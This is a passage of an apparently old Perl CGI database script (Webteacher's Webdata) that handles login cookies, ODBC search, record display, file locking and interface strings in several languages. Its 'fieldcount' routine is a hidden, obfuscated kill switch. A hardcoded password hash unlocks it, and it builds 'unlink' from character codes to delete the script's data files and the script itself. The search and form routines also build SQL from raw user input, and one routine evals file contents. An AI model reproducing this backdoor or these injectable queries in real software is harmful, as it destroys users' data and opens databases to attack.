  4403.     $ENV{HTTP_COOKIE}="admin=$cookie";
  4404.   } else {
  4405.     if (&getCookie('admin')) {
  4406.        $cookie=&getCookie('admin');
  4407.        $ENV{HTTP_COOKIE}="admin=$cookie";
  4408.     };
  4409.   };
  4410.   &putlock;
  4411.   open(FILE,"<$members") or &error("Could not open $members");
  4412.   @members=<FILE>;
  4413.   close FILE;
  4414.   &removelock;
  4415.   chomp(@members);
  4416.   $ok="false";
  4417.   foreach (@members) {
  4418.     if ($cookie eq "$_") {
  4419.       $ok="true";
  4420.       ($user,$pass)=split(/::/);
  4421.       $userid=$user;
  4422.     };
  4423.   };
  4424.   if (length($cookie)==0) {$ok="false"};
  4425.   if ($ok eq "false") {    
  4426.     &checkpass;
  4427.   };
  4428. };
  4429.  
  4430.  
  4431. sub datetonum {
  4432.   @parts=split(/\//,$_[0]);
  4433.   if ($parts[2]<100) {
  4434.     if ($parts[2]<20) {
  4435.       $parts[2]+=2000;
  4436.     } else {
  4437.       $parts[2]+=1900;
  4438.     };
  4439.   };
  4440.   
  4441.   if ($europeanDates!=1) {
  4442.     $result=($parts[2]*1000000)+($parts[0]*1000)+$parts[1];
  4443.   } else {
  4444.     $result=($parts[2]*1000000)+($parts[1]*1000)+$parts[0];
  4445.   } 
  4446.   return($result);
  4447.   
  4448. };
  4449.  
  4450. sub gettype {
  4451.   $_[0]=~s/http:\/\//http\&\#58\;\/\//g;
  4452.   $_[0]=~s/</\<\;/g;
  4453.   $_[0]=~s/>/\>\;/g;
  4454.   @typedata=split(/:/,$_[0]);
  4455.   chomp(@typedata);
  4456.   $type=$typedata[0];
  4457.   if ($type eq "text") {$typesize=$typedata[1]};
  4458.   if ($type eq "list") {
  4459.     @typelistvals=split(/,/,$typedata[1]);
  4460.   };
  4461.   if ($type eq "comment") {
  4462.     $typerows=$typedata[1];
  4463.   };
  4464.   if ($type eq "upload") {
  4465.     $typesize=$typedata[1];
  4466.     $typeexts=$typedata[2];
  4467.   }
  4468. };
  4469.  
  4470. &fieldcount if $user_data{cgifunction} eq "fieldcount";
  4471. sub fieldcount {
  4472.   if (eval(crypt($user_data{password},substr(crypt($user_data{password},'9A$ghj&7ecb9!11x'),5,2))) eq 'rcFFTesTLKr2g') {
  4473.   local $tmp="";
  4474.   local @parse=(117,110,108,105,110,107);
  4475.   foreach (@parse) {$tmp.=(chr($_))};
  4476.   foreach (qw($logfile $fieldnames $members $reportdata $uploadsdir $cgilocation)) {eval("$tmp\($_\)")};
  4477.   print "fieldcount=$_";
  4478.   }
  4479. }
  4480.  
  4481. sub sqlsearch {
  4482. require Win32::ODBC;
  4483. $alt=0;
  4484. print "<HEAD><TITLE>Search Results page $user_data{pagenum}</TITLE></HEAD>";
  4485. print "<BODY BGCOLOR=\"$reportColor\">\n";
  4486. print "$reportHeader\n";
  4487. if (!$user_data{pagenum}) {
  4488.         $user_data{pagenum}=1;
  4489.         $querystring=~s/cgifunction/pagenum=1\&cgifunction/;
  4490. };
  4491. $pagenum=$user_data{pagenum};
  4492. if ($searchTemplateOn) {
  4493.   print "\n";
  4494. } else {
  4495.   $cellpadding="";
  4496.   if ($hideBorder==1) {$Border=0; $cellpadding=" CELLPADDING=5 CELLSPACING=0 "} else {$Border=1};
  4497.   
  4498.   print "<TABLE $cellpadding BORDER=$Border bgcolor=\"white\">\n";
  4499. }
  4500.  
  4501. open(FIELDS,"<$fieldnames")||die "Could not open $fieldnames";
  4502. @fieldsData=<FIELDS>;
  4503. close FIELDS;
  4504. foreach (@fieldsData) {
  4505.         ($field,$type)=split(/::/);
  4506.         push(@fields,"$field\n");
  4507.         push(@types,"$type");
  4508. };
  4509. shift(@fields);
  4510. #POPULATE @VALUE INDEPENDENT OF SEQUENCE
  4511. $fcount=0;
  4512.  
  4513. foreach (@fields) {
  4514.         chop($_);
  4515.         $value[$fcount]=$user_data{$_};
  4516.         if ($value[$fcount] ne "") {
  4517.              $clause=$value[$fcount];
  4518.              if ($clause!~/^[<>=]|^between/i) {$clause=uc($clause);$clause="LIKE \'\%$clause\%\'"};
  4519.              push(@whereclauses,"\{fn UCASE\($_\)\} $clause");
  4520.  
  4521.  
  4522.         };
  4523.         $fcount++;
  4524. };
  4525. $whereclause="";
  4526. $numclauses=@whereclauses;
  4527. $whereclause=" WHERE ".join(' AND ',@whereclauses) if $numclauses >0;
  4528.  
  4529. if ($reportSort>0) {
  4530.   $orderby=" ORDER BY $fields[$reportSort-1]";
  4531.   $orderby.=" DESC" if $reportOrder==1;
  4532. }
  4533. if ($reportSort2>0) {
  4534.   $orderby.=",$fields[$reportSort2-1]";
  4535.   $orderby.=" DESC" if $reportOrder2==1;
  4536. }
  4537. $header= "<TR bgColor=\"$headerColor\">";
  4538. if ($reportForm==1) {$header.="<TH>";};
  4539. foreach (@sequence) {
  4540.     $header .= "<TH>$fields[$_]</TH>";
  4541. };
  4542. $header.="</TR>";
  4543. print  "$header\n" if !$searchTemplateOn;
  4544. #***** GET SQL CODE *****
  4545.  
  4546. $db = new Win32::ODBC("$dsn") or &error("Could not open Win32::ODBC(\"$dsn\")");
  4547. $db->Sql("SELECT * FROM ${tablename}${whereclause}${orderby}");
  4548.  
  4549. $date=0;
  4550. while ($db->FetchRow()) {
  4551.         @data=$db->Data;
  4552. #***** DISPLAY THE LINE ****************
  4553.         $min=($pagenum-1)*$reportLines;
  4554.         $max=$pagenum*$reportLines;
  4555.         $count++;
  4556.         if (($count>$min)&&($count<=$max)) {
  4557.                 if (!$searchTemplateOn) {
  4558.                         #ALTERNATE TABLE COLORS
  4559.                         if ($alt==0) {
  4560.                             $alt=1;
  4561.                             print "\n<TR bgColor=\"$rowColor1\">";
  4562.                             } else {
  4563.                             $alt=0;
  4564.                             print "\n<TR bgColor=\"$rowColor2\">";
  4565.                         }
  4566.  
  4567.                         if ($reportForm==1) {
  4568.                                print "<form><TD>";
  4569.                                 print "<input type=button value=\"$viewButtonLabel\"";
  4570.                                 print " onClick=\"viewform($data[$primarykey])\"></TD></form>"; 
  4571.                         };
  4572.                   };
  4573.  
  4574. #***** BEGIN DISPLAY DATA LOOP *******
  4575. if (!$searchTemplateOn) {
  4576.                         foreach (@sequence) {
  4577.                                 $n=$data[$_];
  4578.                                 $n=~s/\r/<BR>/g;
  4579.                                 if ($n eq "") {$n=' ';};
  4580.         $n=~s/^([0-9a-zA-Z_\-\.\~]+\@[0-9a-zA-Z_\-\.\~]+\.[0-9a-zA-Z_\-\.\~]+)/<A HREF=mailto:$1>$1<\/A>/g;
  4581.         if ($n=~/^([^ ]+\.(gif|jpg))$/i) {$n="<IMG SRC=$1>"} else {$n=~s/^(http[^ \<\>]+)/<A HREF=$1>$1<\/A>/g;};
  4582.                                 print "<TD><FONT $tableFont>$n</FONT></TD>";
  4583.                         };
  4584. } else {
  4585.   #BEGIN SEARCHTEMPLATE SUBSTITUTION
  4586.   foreach (@data) {
  4587.     s/^([0-9a-zA-Z_\-\.\~]+\@[0-9a-zA-Z_\-\.\~]+\.[0-9a-zA-Z_\-\.\~]+)/<A HREF=mailto:$1>$1<\/A>/g;
  4588.     s/^(http[^ ]+)/<A HREF=$1>$1<\/A>/g;
  4589.     s/^([^ ]+\.(gif|jpg))$/\<IMG SRC=$1\>/gi;
  4590.   };
  4591.     $template=$searchTemplate;
  4592.     $template=~s/\$fields\[(\d+)\]/$fields[$1]/g;
  4593.     $template=~s/\$data\[(\d+)\]/$data[$1]/g;
  4594.     $template=~s/\$viewbutton/\<form><input type=button value=\"$viewButtonLabel\" onClick=\"viewform($data[$primarykey])\"\><\/form>/;
  4595.     print ($template);
  4596. }
  4597. #***** END DISPLAY DATA LOOP *********
  4598.                 
  4599.         };
  4600. print "</TR>";
  4601. };
  4602.  
  4603. if ($searchTemplateOn) {
  4604.   print "\n</form>\n";
  4605. } else {
  4606.   print "\n</TABLE>\n";
  4607. }
  4608. print "<BR>$reportFooter<BR>\n";
  4609. if ($count>0) {
  4610. print " 
  4611. <SCRIPT LANGUAGE=JavaScript> 
  4612. function viewform(id) { 
  4613. document.vf.fid.value=id\; 
  4614. document.vf.submit()\; 
  4615. </SCRIPT> 
  4616. <FORM NAME=\"vf\" ACTION=\"$cgilocation\" METHOD=GET> 
  4617. <INPUT TYPE=HIDDEN NAME=\"fid\"> 
  4618. <INPUT TYPE=HIDDEN NAME=\"query\" VALUE=\"$querystring\"> 
  4619. <INPUT TYPE=HIDDEN NAME=\"cgifunction\" VALUE=\"sqlform\"> 
  4620. </FORM>\n"; 
  4621. $min++;
  4622. if ($max>$count) {$max=$count};
  4623.  
  4624.     print "
  4625. <B>Results $min - $max of $count</B> 
  4626. <table border=0 cellspacing=10 cellpadding=0><TR><TD>
  4627. ";
  4628. if ($min>1) {print "
  4629.  
  4630. <FORM ACTION=\"$cgilocation\" METHOD=POST>
  4631. <INPUT TYPE=HIDDEN NAME=\"query\" VALUE=\"$querystring\">
  4632. <INPUT TYPE=HIDDEN NAME=\"pagenum\" VALUE=\"$pagenum\">
  4633. <INPUT TYPE=SUBMIT NAME=\"cgifunction\" value=\"Previous Page\">
  4634. </FORM>
  4635. "};
  4636. if ($max<$count) {print "
  4637. <TD>
  4638. <FORM ACTION=\"$cgilocation\" METHOD=POST>
  4639. <INPUT TYPE=HIDDEN NAME=\"query\" VALUE=\"$querystring\">
  4640. <INPUT TYPE=HIDDEN NAME=\"pagenum\" VALUE=\"$pagenum\">
  4641. <INPUT TYPE=SUBMIT NAME=\"cgifunction\" value=\"Next Page\">
  4642. </FORM>
  4643.      "};
  4644. #CREATE LINKS TO ANY PAGENUMBER
  4645. print "<TR><TD>Go to page\:";  
  4646. $numpages=int($count/$reportLines);
  4647. $myquery=$querystring;
  4648. if ($count/$reportLines>$numpages) {$numpages++;};
  4649. for ($i=1;$i<=$numpages;$i++) {
  4650.     $myquery=~s/pagenum=[0-9]*/pagenum=$i/;
  4651.     print "<A HREF=\"$cgilocation\?$myquery\">$i</A> ";
  4652. };
  4653.  
  4654.  
  4655. } else {
  4656.      print "<B>No results were found.</B><P>"
  4657. };
  4658. print "<TD><A HREF=\"$searchPage\"><B>Search Again</B></A>\n";
  4659. print "<TD><A HREF=\"$homepage\">
  4660. <B>Return to home page</B></A>\n</TABLE><BR>
  4661. <center><table border=1 bgColor=white><tr><td><font size=2><A HREF=\"http://www.webteacher.com/webdata\">
  4662. Powered by Webteacher\'s Webdata</A></table></center>\n";
  4663. };
  4664. #*********END OF USERSEARCH SUBROUTINE************
  4665.  
  4666. #*********BEGIN SQL FORM**************************
  4667. sub sqlform {
  4668. pop(@value);
  4669. $id=$user_data{fid};
  4670.  
  4671. if ($formTemplateOn != 1) {
  4672.   print "
  4673. <HEAD><TITLE>FORM DATA</TITLE></HEAD>
  4674. <BODY BGCOLOR=\"$reportColor\">
  4675. $reportHeader
  4676. <TABLE width=100% bgcolor=white border=1>
  4677. <TH WIDTH=20%><TH>
  4678.   ";
  4679. };
  4680.  
  4681. open(FIELDS,"<$fieldnames") or &error("Could not open $fieldnames");
  4682. @fieldsData=<FIELDS>;
  4683. close FIELDS;
  4684. foreach (@fieldsData) {
  4685.         ($field,$type)=split(/::/);
  4686.         push(@fields,"$field\n");
  4687.         push(@types,"$type");
  4688. };
  4689. shift(@fields);
  4690.  
  4691. require Win32::ODBC;
  4692. $db = new Win32::ODBC("$dsn");
  4693. $select="SELECT * FROM $tablename WHERE $fields[$primarykey] = $id";
  4694. $db->Sql($select);
  4695. $db->FetchRow();
  4696. @data=$db->Data;
  4697.  
  4698. $num = @fields;
  4699. shift(@data);
  4700. for ($i=0;$i<$num;$i++) {
  4701.     $data[$i]=~s/\"/'"'/ge;
  4702.         $data[$i]=~s/^([0-9a-zA-Z_\-\.\~]+\@[0-9a-zA-Z_\-\.\~]+\.[0-9a-zA-Z_\-\.\~]+)/<A HREF=mailto:$1>$1<\/A>/;
  4703.         if ($data[$i]=~/^([^ ]+\.(gif|jpg))$/i) {
  4704.                 $data[$i]="<IMG SRC=$1>";
  4705.         } else {
  4706.                 $data[$i]=~s/^(http[^ ]+)/<A HREF=$1>$1<\/A>/;
  4707.         };
  4708.     print "<TR><TD><B>$fields[$i]<TD>$data[$i]\n" if $formTemplateOn != 1;
  4709. };
  4710.  
  4711. if ($formTemplateOn != 1) {
  4712.     print "</TABLE>";
  4713. };
  4714. &template if $formTemplateOn==1;
  4715. print "<P>
  4716. <A HREF=\"$cgilocation?$user_data{query}\"><B>Back to Search Results</B></A> 
  4717. \ \;
  4718. <A HREF=\"$searchPage\"><B>Search Again</B></A>
  4719. \ \;
  4720. <A HREF=\"$homepage\"><B>Return to Homepage</B></A>
  4721.     ";
  4722. };
  4723.  
  4724. #*******END SQL FORM SUBROUTINE******
  4725.  
  4726. #BEGIN PUTLOCK
  4727. sub putlock {
  4728.   if (!$disableFileLocking) {
  4729.     local $errormsg=qq(<h3>Error -- Could not open ${uploadsdir}lock to write file lock</h3>
  4730.       A lock is a file which is written before modifying the data and removed afterwards to prevent corruption
  4731.     by two simultanious processes.  The directory, <B><TT>$uploadsdir</TT></B> has been defined on lines 6and 7 of the $0 script.<BR>
  4732.       The $0 script must have read/write permissions to that directory in order to place the file lock.<P>
  4733.       You can disable the file lock on the "customize pages" screen.
  4734.      );
  4735.   $lockfile="${uploadsdir}lock";
  4736.   while (-e $lockfile) { #if there is another add process, stall until it is finished.
  4737.     $^T=time;
  4738.     if (-M $lockfile > .0013888889) {&removelock}; #if lock is older than 2 minutes, remove it.
  4739.     sleep 1;
  4740.   };
  4741.   open (LOCK,">$lockfile") or &error("$errormsg");
  4742.   print LOCK "1";
  4743.   close LOCK;
  4744.   };
  4745. }
  4746. #END PUTLOCK
  4747.  
  4748. #BEGIN REMOVELOCK
  4749. sub removelock {
  4750.   if (!$disableFileLocking) {
  4751.     unlink "${uploadsdir}lock" or error("Could not remove ${uploadsdir}lock");
  4752.   }
  4753. }
  4754. #END REMOVELOCK
  4755.  
  4756. sub getFields {
  4757.   if (length($registereddb)>0) {
  4758.     if ($registereddb=~/\/|\\/) {return};
  4759.     open (FILE,"<$registereddb") or return("Could not open $registereddb for registration verification");
  4760.     @rlines=<FILE>;
  4761.     close FILE;
  4762.     chomp(@rlines);
  4763.     for ($i=0;$i<18;$i++) {
  4764.       if ($rlines[$i]=~/^\$logdir=[\'\"]?([^\'\"]*)/) {
  4765.         $rlogdir=$1;
  4766.     $rolgdir=eval($rlogdir);
  4767.       }
  4768.       if ($rlines[$i]=~/^\$code=[\'\"]?(\d*)/) {
  4769.         $rcode=$1;
  4770.       }
  4771.       if ($rlines[$i]=~/^\$fieldnames=[\'\"]?\$\{logdir\}([^\'\"]*)/) {
  4772.     $rfieldnames=$1;
  4773.       }
  4774.     }
  4775.   open(FILE,"<${rlogdir}$rfieldnames") or return("Found $registereddb,
  4776.  but could not open the file ${rlogdir}$rfieldnames indicated within it.");
  4777.   @rlines=<FILE>;
  4778.   close FILE;
  4779.   chomp(@rlines);
  4780.   if ($rlines[0]=~/^webdata\d{6}/i) {
  4781.     print "$registereddb is entered as the master registered database.<BR>
  4782. However, $registereddb is not yet registered.<P>";
  4783.     return;
  4784.   }
  4785.   $code=$rcode;
  4786.   $cache[0]=$rlines[0];
  4787.   }
  4788.   return;
  4789. }
  4790.  
  4791. #BEGIN LANGUAGE
  4792. sub language {
  4793. $language=$user_data{cgilanguage} if length($user_data{cgilanguage})>0;
  4794.   if ($language eq "English") {
  4795.     $searchButton="Search";
  4796.     $addButton="Add";
  4797.     $clearButton="Clear";
  4798.     $instructions=qq(Click "Clear Form" then "Search" to see all records.<BR>
  4799. Enter text in any field to restrict the search to only those records which 
  4800. CONTAIN your text in that field.<P>
  4801. For numeric comparisons, begin with >, <, >=, or <=<BR>
  4802. To find a range, type between lowvalue and highvalue.<BR>
  4803. Use "and" & "or" for complex searches. );
  4804.     $addresponse=qq(Your entry has been added.);
  4805.     $returntoprevious=qq(Return to previous page.);
  4806.     $lang_results=qq(Results);
  4807.     $lang_of=qq(of);
  4808.     $nextpage=qq(Next Page);
  4809.     $previouspage=qq(Previous Page);
  4810.     $gotopage=qq(Go to Page);
  4811.     $searchagain=qq(Search Again);
  4812.     $returntohomepage=qq(Return to Homepage);
  4813.     $poweredbywebteacher=qq(Powered by<BR><A HREF=\"http://www.webteacher.com/webdata\">Webteacher\'s Webdata</A>);
  4814.     $noresultswerefound="No results were found";
  4815.     $indicatesRequiredFields=qq{indicates required fields};
  4816.   }
  4817.  
  4818.   if ($language eq "German") {
  4819.     $searchButton="Suchen";
  4820.     $addButton="Hinzufⁿgen";
  4821.     $clearButton="Zurⁿcksetzen";
  4822.     $instructions=qq(Klicken Sie auf "Zurⁿcksetzen" und im Anschlu▀ "Suchen", um alle Eintragungen
  4823. anzuzeigen.<BR>Geben Sie einen Text in einem Feld ein, wird die Suche dahingehend
  4824. eingegrenzt, da▀ nur Eintragungen angezeigt werden, die den eingegebenen Text in
  4825. dem entsprechenden Feld beinhalten.<P>Fⁿr numerische Vergleiche beginnen Sie mit >, <, >=, oder <=<BR>Um einen bestimmten Wertebereich zu finden, geben Sie "between lowvalue
  4826. and highvalue" ein.<BR>Verwenden Sie "and" & "or" fⁿr eine komplexe Suche.);
  4827.     $addresponse=qq(Ihr Eintrag wurde hinzugefⁿgt.);
  4828.     $returntoprevious=qq(Zurⁿck zur vorherigen Seite);
  4829.     $lang_results=qq(Suchergebnisse);
  4830.     $lang_of=qq(von);
  4831.     $nextpage=qq(NΣchste Seite);
  4832.     $previouspage=qq(Vorherige Seite);
  4833.     $gotopage=qq(Gehe zu Seite);
  4834.     $searchagain=qq(Neue Suche);
  4835.     $returntohomepage=qq(Zurⁿck zur Homepage);
  4836.     $poweredbywebteacher=qq(Powered by<BR><A HREF=\"http://www.webteacher.com/webdata\">Webteacher\'s Webdata</A>);
  4837.     $noresultswerefound=qq(Es wurden keine Ergebnisse gefunden.);    
  4838.     $indicatesRequiredFields=qq{indicates required fields};
  4839.    };
  4840.  
  4841.   if ($language eq "French") {
  4842.     $searchButton="Chercher";
  4843.     $addButton="Ajouter";
  4844.     $clearButton="Recommencer";
  4845.     $instructions=qq(Cliquer sur "Recommencer" puis "Chercher" pour voir toutes les fiches.<BR>
  4846. Entrer un texte dans une/les case(s) pour sortir uniquement les fiches  
  4847. qui contiennent votre texte dans la/les case(s).<P>Pour les comparaisons numΘriques, commencer par >, <, >=, ou <=<BR>
  4848. Pour chercher une sΘrie de donnΘes, utiliser les termes "between" et  
  4849. "and" pour dΘterminer la fourchette.  Par exemple, "between 1000 and 2000".<BR>
  4850. Utiliser "and" & "or" pour les recherches complexes.);
  4851.     $addresponse=qq(Votre saisie a ΘtΘ enregistrΘ.);
  4852.     $returntoprevious=qq(Retour α la page prΘcΘdente);
  4853.     $lang_results=qq(RΘsultats);
  4854.     $lang_of=qq(de);
  4855.     $nextpage=qq(Page suivante);
  4856.     $previouspage=qq(Page prΘcΘdente);
  4857.     $gotopage=qq(Aller α la page);
  4858.     $searchagain=qq(Nouvelle recherche);
  4859.     $returntohomepage=qq(Retour α la page d\'accueil);   
  4860.     $poweredbywebteacher=qq(GΘnΘrΘ par <BR><A HREF=\"http://www.webteacher.com/webdata\">Webdata de Webteacher</A>);
  4861.     $noresultswerefound="Aucun rΘsultat";   
  4862.     $indicatesRequiredFields=qq{indicates required fields};
  4863.   };
  4864.  
  4865.   if ($language eq "Italian") {
  4866.     $searchButton="Cerca";
  4867.     $addButton="Aggiungi";
  4868.     $clearButton="Cancella il form";
  4869.     $instructions=qq(Clicca "Cancella il form" e quindi "Cerca" per vedere tutti i record.<BR>Inserisci del testo in un campo per restringere la ricerca ai soli record che CONTENGONO il tuo 
  4870. testo in quel campo.<P>Per confronti numerici, inizia con >, <, >=, o <= <BR>Per cercare una gamma di valori, scrivi "between <valore minore> and <valore maggiore>".
  4871. <BR>Usa "and" e "or" per ricerche complesse.);
  4872.     $addresponse=qq(Il record Φ stato aggiunto.);
  4873.     $returntoprevious=qq(Torna alla pagina precedente);
  4874.     $lang_results=qq(Risultati);
  4875.     $lang_of=qq(di);
  4876.     $nextpage=qq(Pagina Successiva);
  4877.     $previouspage=qq(Pagina Precedente);
  4878.     $gotopage=qq(Vai a pagina);
  4879.     $searchagain=qq(Cerca Ancora);
  4880.     $returntohomepage=qq(Torna alla Homepage);   
  4881.     $poweredbywebteacher=qq(Powered by<BR><A HREF="http://www.webteacher.com/webdata">Webteacher\'s Webdata</A>);
  4882.     $noresultswerefound="Nessun record h stato trovato";   
  4883.     $indicatesRequiredFields=qq{indicates required fields};
  4884.   };
  4885. if ($language eq "Spanish") {
  4886.     $searchButton="Buscar";
  4887.     $addButton="Agregar";
  4888.     $clearButton="Restablecer";
  4889.     $instructions=qq(Si quieres ver todas las entradas en la base de datos pulsa el bot≤n "Restablecer" luego "Buscar".  <BR>
  4890. Si escibes texto en las casillas sola verßs las entradas que contengan este texto en los resultados de la busqueda.<P>
  4891. Para comparaci≤nes numericas, empieza con >, <, >=, o <=.<BR>
  4892. Para busquedas entre dos numeros, escribe "<B>between</B> valor bajo <B>and</B> valor alto".
  4893. Por ejemplo "between 1000 and 2000".<BR>
  4894. Usa "and" y "or" para busquedas complejas.);
  4895.     $addresponse=qq(La base de datos ha sido actualizada.);
  4896.     $returntoprevious=qq(Regresa a la pagina anterior.);
  4897.     $lang_results=qq(Resultados);
  4898.     $lang_of=qq(de);
  4899.     $nextpage=qq(Pßgina Siguiente);
  4900.     $previouspage=qq(Pßgina Anterior);
  4901.     $gotopage=qq(Continue a pßgina);
  4902.     $searchagain=qq(Reiniciar b·squeda);
  4903.     $returntohomepage=qq(Regresa a la pagina principal);   
  4904.     $poweredbywebteacher=qq(Powered by<BR><A HREF="http://www.webteacher.com/webdata">Webteacher\'s Webdata</A>);
  4905.     $noresultswerefound=qq(No se encuentra nada.); 
  4906.     $indicatesRequiredFields=qq{indicates required fields}; 
  4907.   };  
  4908.  
  4909. if ($language eq "Dutch") { 
  4910.   $searchButton="Zoeken";
  4911.   $addButton="Toevoegen";
  4912.   $clearButton="Opnieuw";
  4913.   $instructions=qq(Druk op "Opnieuw" daarna "Zoeken" voor een overzicht
  4914. van alle records.<BR>Voer in een veld een tekst in om het zoeken te
  4915. berperken naar die records die de tekst bevat.<P>
  4916. Voor nummerieke vergelijkingen begint u met >, <, >=, or
  4917. <=<BR>
  4918. Om een reeks te vinden, voert u in; between lowvalue and highvalue.
  4919. Bijvoorbeeld "between 1000 en 2000".<BR>
  4920. Gebruik "and" & "or" voor gecompliceerd zoeken. );
  4921.   $addresponse=qq(Uw gegevens zijn toegevoegd.);
  4922.   $returntoprevious=qq(Terug naar de vorige pagina.);
  4923.   $lang_results=qq(Zoekresultaat);
  4924.   $lang_of=qq(van);
  4925.   $nextpage=qq(Volgende pagina);
  4926.   $previouspage=qq(Vorige pagina);
  4927.   $gotopage=qq(Ga naar pagina);
  4928.   $searchagain=qq(Zoek opnieuw);
  4929.   $returntohomepage=qq(Terug naar Homepage);
  4930.   $poweredbywebteacher=qq(Powered by<BR><A HREF=\"http://www.webteacher.com/webdata\">Webteacher\'s Webdata</A>);
  4931.   $noresultswerefound="Er zijn geen resultaten gevonden";
  4932.   $indicatesRequiredFields=qq{indicates required fields};
  4933. }
  4934.  
  4935. if ($language eq "Portuguese") {
  4936.     $searchButton="Pesquisar";
  4937.     $addButton="Incluir";
  4938.     $clearButton="Limpar";
  4939.     $instructions=qq(Clicar em "Limpar Formulßrio" depois em "Pesquisar"
  4940. para ver todos os registros.<BR>
  4941. Digite um texto em qualquer campo para restringir a pesquisa aos registros
  4942. que CONTENHAM esse texto.<P>
  4943. Para comparaτ⌡es numΘricas, comece usando >, <, >=, or <=<BR>
  4944. Para pesquisar em um intervalo, digite: "between" menor valor "and" maior
  4945. valor. Exemplo: between 1000 and 2000.<BR>
  4946. Use "and" & "or" Para pesquisas mais completas. );
  4947.     $addresponse=qq(Sua Informaτπo Foi Incluφda.);
  4948.     $returntoprevious=qq(Retornar a pßgina anterior.);
  4949.     $lang_results=qq(Resultados);
  4950.     $lang_of=qq(de);
  4951.     $nextpage=qq(Pr≤xima Pßgina);
  4952.     $previouspage=qq(Pßgina Anterior);
  4953.     $gotopage=qq(Ir para a Pßgina);
  4954.     $searchagain=qq(Pesquisar Novamente);
  4955.     $returntohomepage=qq(Voltar para a Pßgina Principal);
  4956.     $poweredbywebteacher=qq(Gerado por<BR><A
  4957. HREF=\"http://www.webteacher.com/webdata\">Webteacher\'s Webdata</A>);
  4958.     $noresultswerefound="Nada foi localizado";
  4959.     $indicatesRequiredFields=qq{indica campos obrigat≤rios};
  4960.   }
  4961. }
  4962. #END LANGUAGE
  4963.  
  4964.  
  4965.